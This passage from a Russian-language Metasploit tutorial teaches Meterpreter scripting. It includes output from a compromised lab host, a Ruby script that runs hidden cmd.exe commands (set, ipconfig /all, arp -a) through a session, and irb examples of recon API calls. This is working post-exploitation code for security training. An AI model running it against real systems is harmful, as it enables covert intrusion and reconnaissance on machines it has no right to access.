PROCESSOR_ARCHITECTURE=x86
 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel
 PROCESSOR_LEVEL=6
 PROCESSOR_REVISION=0706
 ProgramFiles=C:\Program Files
 PROMPT=$P$G
 SystemDrive=C:
 SystemRoot=C:\WINNT
 TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 USERDOMAIN=TARGET
 USERNAME=P0WN3D
 USERPROFILE=C:\Documents and Settings\P0WN3D
 windir=C:\WINNT
 
 [*]     running command ipconfig  /all
 [*]     
 Windows 2000 IP Configuration
 
 Host Name . . . . . . . . . . . . : target
 Primary DNS Suffix  . . . . . . . : 
 Node Type . . . . . . . . . . . . : Hybrid
 IP Routing Enabled. . . . . . . . : No
 WINS Proxy Enabled. . . . . . . . : No
 DNS Suffix Search List. . . . . . : localdomain
 
 Ethernet adapter Local Area Connection:
 
 Connection-specific DNS Suffix  . : localdomain
 Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
 Physical Address. . . . . . . . . : 00-0C-29-85-81-55
 DHCP Enabled. . . . . . . . . . . : Yes
 Autoconfiguration Enabled . . . . : Yes
 IP Address. . . . . . . . . . . . : 172.16.104.145
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 172.16.104.2
 DHCP Server . . . . . . . . . . . : 172.16.104.254
 DNS Servers . . . . . . . . . . . : 172.16.104.2
 Primary WINS Server . . . . . . . : 172.16.104.2
 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM
 Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM
 
 [*]     running command arp -a
 [*]     
 Interface: 172.16.104.145 on Interface 0x1000003
 Internet Address      Physical Address      Type
 172.16.104.2          00-50-56-eb-db-06     dynamic   
 172.16.104.150        00-0c-29-a7-f1-c5     dynamic   
 
 meterpreter >

Окончательный вариант сценария будет выглядеть так:

def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "running command #{cmd}"
          r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
 
             print_status("t#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
    end
 end
 
 commands = [ "set",
    "ipconfig  /all",
    "arp -a"]
 
 list_exec(client,commands)

Как вы можете видеть создание пользовательских сценариев Meterpreter не так сложно в освоении, если все выполнять шаг за шагом, опираясь на предыдущие успешные результаты.

API вызовы, которые могут пригодиться.

Мы рассмотрим некоторые общие API вызовы для написания сценариев Meterpreter и напишем свой сценарий использующий некоторые из этих вызовов. Для лучшего понимания API вызовов в дальнейших примерах, look at the Command Dispatcher code and the REX documentation that was mentioned earlier.
Для нас проще всего воспользоваться оболочкой irb, чтобы непосредственно в ней тестировать API вызовы и анализировать результат возврата на эти вызовы. Запускаем оболочку, выполнив команду 'irb' из Meterpreter.

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
 
»

Мы начнем с вызова получения информации о целевом хосте. Вызовом API для этого будет "client.sys.config.sysinfo '

>> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"}
>>

Как мы можем видеть в IRB ряд значений были возвращены. Если мы хотим знать тип возвращаемых значений, мы можем использовать объект класса, чтобы узнать, что возвращается:

>> client.sys.config.sysinfo.class
=> Hash
>>

Как видно это hash. Мы можем вызывать нужные элементы через специальный ключ. Скомандуем показать только версию операционной системы.

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>>

Теперь давайте взглянем на полномочия в системе с которыми запущена полезная нагрузка. Для этого воспользуемся вызовом API 'client.sys.config.getuid'.

>> client.sys.config.getuid
=> "WINXPVM01\labuser"
>>

Чтобы получить идентификатор процесса под которым работает сессия, мы используем вызов 'client.sys.process.getpid', который может быть использован, чтобы убедиться, что процесс сессии работает.

>> client.sys.process.getpid
=> 684

Мы можем использовать API вызовов в разделе 'client.sys.net' для сбора информации о конфигурации сети и окружающей среды на целевом компьютере. Чтобы получить список интерфейсов и их конфигурации мы используем 'client.net.config.interfaces' вызова API :

>> client.net.config.interfaces
=> [#, #]
>> client.net.config.interfaces.class
=> Array

Как можно видеть, возвращается массив объектов, которые имеют тип Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface, что представляет из себя каждый из сетевых интерфейсов. Мы можем выполнить поиск по этому массиву объектов и получить информацию о каждом из интерфейсов, так:

>> interfaces = client.net.config.interfaces
 => [#, #]
 >> interfaces.each do |i|
 ?> puts i.pretty
 >> end
 MS TCP Loopback interface
 Hardware MAC: 00:00:00:00:00:00
 IP Address  : 127.0.0.1
 Netmask     : 255.0.0.0
 
 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
 Hardware MAC: 00:0c:29:dc:aa:e4
 IP Address  : 192.168.1.104
 Netmask     : 255.255.255.0

Полезные функции.

Давайте посмотрим на некоторые другие функции, которые могут быть полезны в построении сценариев Meterpreter. Используйте их по мере необходимости.